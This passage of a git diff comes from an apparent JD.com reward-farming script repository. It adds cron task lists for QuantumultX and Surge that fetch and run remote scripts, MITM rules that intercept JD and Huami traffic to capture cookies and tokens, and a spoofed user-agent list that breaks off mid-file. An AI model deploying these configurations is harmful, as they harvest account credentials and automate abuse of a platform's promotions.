https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_jump.js, tag=跳跳乐瓜分京豆, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"4 10 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_jxlhb.js, tag=京喜领88元红包, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"20 0-23/3 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_jxmc.js, tag=惊喜牧场, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"0 9,12,18 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_jxnc.js, tag=京喜农场, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxnc.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"10 0 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_kd.js, tag=京东快递签到, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_kd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"10-20/5 12 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_live.js, tag=京东直播, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"0,30 0-23/1 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_live_redrain.js, tag=超级直播间红包雨, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"4 10 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_market_lottery.js, tag=幸运大转盘, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"4 10 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_mcxhd.js, tag=新潮品牌狂欢, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"0 0,1-23/3 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_mohe.js, tag=5G超级盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"3 0-23/2 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_moneyTree.js, tag=京东摇钱树, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyqs.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"10 7 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_ms.js, tag=京东秒秒币, img-url=https://raw.githubusercontent.com/yogayyy/Scripts/master/Icon/shylocks/jd_ms.jpg, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"10 0,20 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_necklace.js, tag=点点券, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"35 1,23 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_nzmh.js, tag=女装盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"15 6-18/6 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_pet.js, tag=东东萌宠, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdmc.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"12 0-23/6 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_pigPet.js, tag=京东金融养猪猪, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyz.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"1 7-21/2 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_plantBean.js, tag=种豆得豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdzd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"0 2 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_price.js, tag=京东保价, img-url=https://raw.githubusercontent.com/Orz-3/task/master/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"1 1,2,23 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_redPacket.js, tag=京东全民开红包, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"20 8 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_sgmh.js, tag=闪购盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"10 0 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_shop.js, tag=进店领豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_shop.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"16 22 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_small_home.js, tag=东东小窝, img-url=https://raw.githubusercontent.com/58xinian/icon/master/ddxw.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"8 0-23/3 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_speed.js, tag=京东天天加速, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdjs.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"20 0,22 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_speed_redpocke.js, tag=京东极速版红包, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"0 7 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_speed_sign.js, tag=京东极速版, img-url=https://raw.githubusercontent.com/Orz-3/task/master/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"0 1,21 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_star_shop.js, tag=明星小店, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"11 * * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_superMarket.js, tag=东东超市, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxc.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"10 0,7,23 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_syj.js, tag=赚京豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_syj.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"55 23 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_unsubscribe.js, tag=取关京东店铺商品, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"15 17 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/backUp/xmSport.js, tag=小米运动, img-url=https://raw.githubusercontent.com/58xinian/icon/master/xmyd.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"}, + {"config":"0 0-23/2 * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_EsportsManager.js, tag=电竞经理, img-url=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts_demo/main/jd_EsportsManager.png, enabled=true", "addons":"https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/QuantumultX/cookies.conf"} + ] +} diff --git a/README.md b/README.md index c12c3cb73b..4a91be5341 100644 --- a/README.md +++ b/README.md @@ -1 +1,19 @@ # jd_scripts + +> * 无内置shareCodes +> * 使用助力池 + +# Warning + +> * 带助力功能的脚本要使用本仓库的,其他仓库的没有对接助力池 + +> * IOS三件套在仓库内有订阅配置文件 + +> * 新脚本使用[TypeScript](https://www.tslang.cn/) + +# whoami + +```typescript +let name: string = "JDHelloWorld.TS"; +console.log(name); +``` \ No newline at end of file diff --git a/Surge/Task.sgmodule b/Surge/Task.sgmodule new file mode 100644 index 0000000000..1bc37722dc --- /dev/null +++ b/Surge/Task.sgmodule @@ -0,0 +1,77 @@ +#!name=iOS Tasks&Cookies Module +#!desc=iOS Tasks&Cookies 模块配置 + +# Task&Cookies模块配置 + +[Script] +京东资产变动通知 = type=cron,cronexp="2 9 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_bean_change.js +领京豆额外奖励 = type=cron,cronexp="10 7 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_bean_home.js +省钱大赢家之翻翻乐 = type=cron,cronexp="20 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_big_winner.js +东东超市兑换奖品 = type=cron,cronexp="0 0 0 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_blueCoin.js +口袋书店 = type=cron,cronexp="1 8,12,18 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_bookshop.js +京东汽车 = type=cron,cronexp="10 7 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_car.js +京东汽车兑换 = type=cron,cronexp="0 0 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_car_exchange.js +签到领现金 = type=cron,cronexp="2 0-23/4 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_cash.js +京喜财富岛 = type=cron,cronexp="5 8,13,19 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_cfd.js +摇京豆 = type=cron,cronexp="5 0,23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_club_lottery.js +crazyJoy任务 = type=cron,cronexp="10 9 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_crazy_joy.js +监控crazyJoy分红 = type=cron,cronexp="10 12 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_crazy_joy_bonus.js +crazyJoy挂机 = type=cron,cronexp="10 1,12 * * *",wake-system=1,timeout=20,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_crazy_joy_coin.js +天天提鹅 = type=cron,cronexp="10 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_daily_egg.js +每日抽奖 = type=cron,cronexp="13 1,22,23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_daily_lottery.js +京喜工厂 = type=cron,cronexp="10 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_dreamFactory.js +京喜工厂助力 = type=cron,cronexp="10 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_dreamFactory_help.js +获取多账号京东Cookie = type=http-request,pattern=^https:\/\/me-api\.jd\.com\/user_new\/info\/GetJDUserInfoUnion,requires-body=1,max-size=0,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/JD_extra_cookie.js,script-update-interval=0 +京东家庭号 = type=cron,cronexp="1 12,23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_family.js +东东农场 = type=cron,cronexp="5 6-18/6 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_fruit.js +获取互助码 = type=cron,cronexp="20 13 * * 6",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_get_share_code.js +金榜创造营 = type=cron,cronexp="13 1,22 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_gold_creator.js +东东健康社区 = type=cron,cronexp="13 1,6,22 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_health.js +东东健康社区收集能量 = type=cron,cronexp="5-45/20 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_health_collect.js +东东工厂 = type=cron,cronexp="10 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_jdfactory.js +京东赚赚 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_jdzz.js +领金贴 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_jin_tie.js +京东宠汪汪 = type=cron,cronexp="15 0-23/2 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy.js +京东宠汪汪喂食 = type=cron,cronexp="15 0-23/1 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy_feedPets.js +宠汪汪强制为别人助力= type=http-request,pattern=^https:\/\/draw\.jdfcloud\.com\/\/common\/pet\/enterRoom\/h5\?invitePin=.*(&inviteSource=task_invite&shareSource=\w+&inviteTimeStamp=\d+&openId=\w+)?&reqSource=weapp|^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/pet\/helpFriend\?friendPin,requires-body=1,max-size=0,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy_help.js +宠汪汪积分兑换奖品 = type=cron,cronexp="0 0-16/8 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy_reward.js +宠汪汪邀请助力与赛跑助力 = type=cron,cronexp="15 10 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy_run.js +宠汪汪助力更新Token = type=http-response,pattern=^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/addUser\?code=, requires-body=1, max-size=0, script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy_run.js +宠汪汪助力获取Token = type=http-request,pattern=^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId=, max-size=0, script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy_run.js +宠汪汪偷好友积分与狗粮 = type=cron,cronexp="10 0-21/3 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_joy_steal.js +跳跳乐瓜分京豆 = type=cron,cronexp="1 0,11,21 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_jump.js +京喜领88元红包 = type=cron,cronexp="4 10 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_jxlhb.js +惊喜牧场 = type=cron,cronexp="20 0-23/3 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_jxmc.js +京喜农场 = type=cron,cronexp="0 9,12,18 * * *",timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_jxnc.js +京东快递签到 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_kd.js +京东直播 = type=cron,cronexp="10-20/5 12 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_live.js +超级直播间红包雨 = type=cron,cronexp="0,30 0-23/1 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_live_redrain.js +幸运大转盘 = type=cron,cronexp="4 10 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_market_lottery.js +新潮品牌狂欢 = type=cron,cronexp="4 10 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_mcxhd.js +5G超级盲盒 = type=cron,cronexp="0 0,1-23/3 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_mohe.js +京东摇钱树 = type=cron,cronexp="3 0-23/2 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_moneyTree.js +京东秒秒币 = type=cron,cronexp="10 7 * * *",wake-system=1,timeout=200,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_ms.js +点点券 = type=cron,cronexp="10 0,20 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_necklace.js +女装盲盒 = type=cron,cronexp="35 1,23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_nzmh.js +东东萌宠 = type=cron,cronexp="15 6-18/6 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_pet.js +京东金融养猪猪 = type=cron,cronexp="12 0-23/6 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_pigPet.js +京东种豆得豆 = type=cron,cronexp="1 7-21/2 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_plantBean.js +京东保价 = type=cron,cronexp="0 2 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_price.js +京东全民开红包 = type=cron,cronexp="1 1,2,23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_redPacket.js +闪购盲盒 = type=cron,cronexp="20 8 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_sgmh.js +进店领豆 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_shop.js +东东小窝 = type=cron,cronexp="16 22 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_small_home.js +天天加速 = type=cron,cronexp="8 0-23/3 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_speed.js +京东极速版红包 = type=cron,cronexp="20 0,22 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_speed_redpocke.js +京东极速版 = type=cron,cronexp="0 7 * * *",wake-system=1,timeout=33600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_speed_sign.js +明星小店 = type=cron,cronexp="0 1,21 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_star_shop.js +东东超市 = type=cron,cronexp="11 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_superMarket.js +赚京豆 = type=cron,cronexp="10 0,7,23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_syj.js +取关京东店铺商品 = type=cron,cronexp="55 23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_unsubscribe.js +小米运动 = type=cron,cronexp="15 17 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/backUp/xmSports.js +小米运动获取Token = type=http-response,pattern=^https:\/\/account\.huami\.com\/v2\/client\/login, requires-body=1, max-size=0, script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/backUp/xmSports.js +电竞经理 = type=cron,cronexp="0 0-23/2 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_EsportsManager.js +jd_appopen = type=http-request,pattern=^https:\/\/api\.m\.jd\.com\/openUpgrade,requires-body=1,max-size=0,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/utils/jd_appopen.js,script-update-interval=0 + +[MITM] +hostname = %APPEND% me-api.jd.com, draw.jdfcloud.com, jdjoy.jd.com, account.huami.com, api.m.jd.com diff --git a/TS_USER_AGENTS.ts b/TS_USER_AGENTS.ts new file mode 100644 index 0000000000..dca94c76ff --- /dev/null +++ b/TS_USER_AGENTS.ts @@ -0,0 +1,292 @@ +import axios from "axios" +import {Md5} from "ts-md5" +import {format} from 'date-fns' +import * as dotenv from "dotenv" +import {accessSync, readFileSync, writeFileSync} from "fs" + +const CryptoJS = require('crypto-js') +dotenv.config() + +let fingerprint: string | number, token: string = '', enCryptMethodJD: any + +const USER_AGENTS: Array = [ + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/4g;Mozilla/5.0 (Linux; Android 9; Mi Note 3 Build/PKQ1.181007.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; GM1910 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; 16T Build/PKQ1.190616.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.5;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.7;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MI 6 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K30 5G Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045511 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;11.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79", + "jdapp;android;10.0.2;10;;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045224 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MHA-AL00 Build/HUAWEIMHA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; 16 X Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 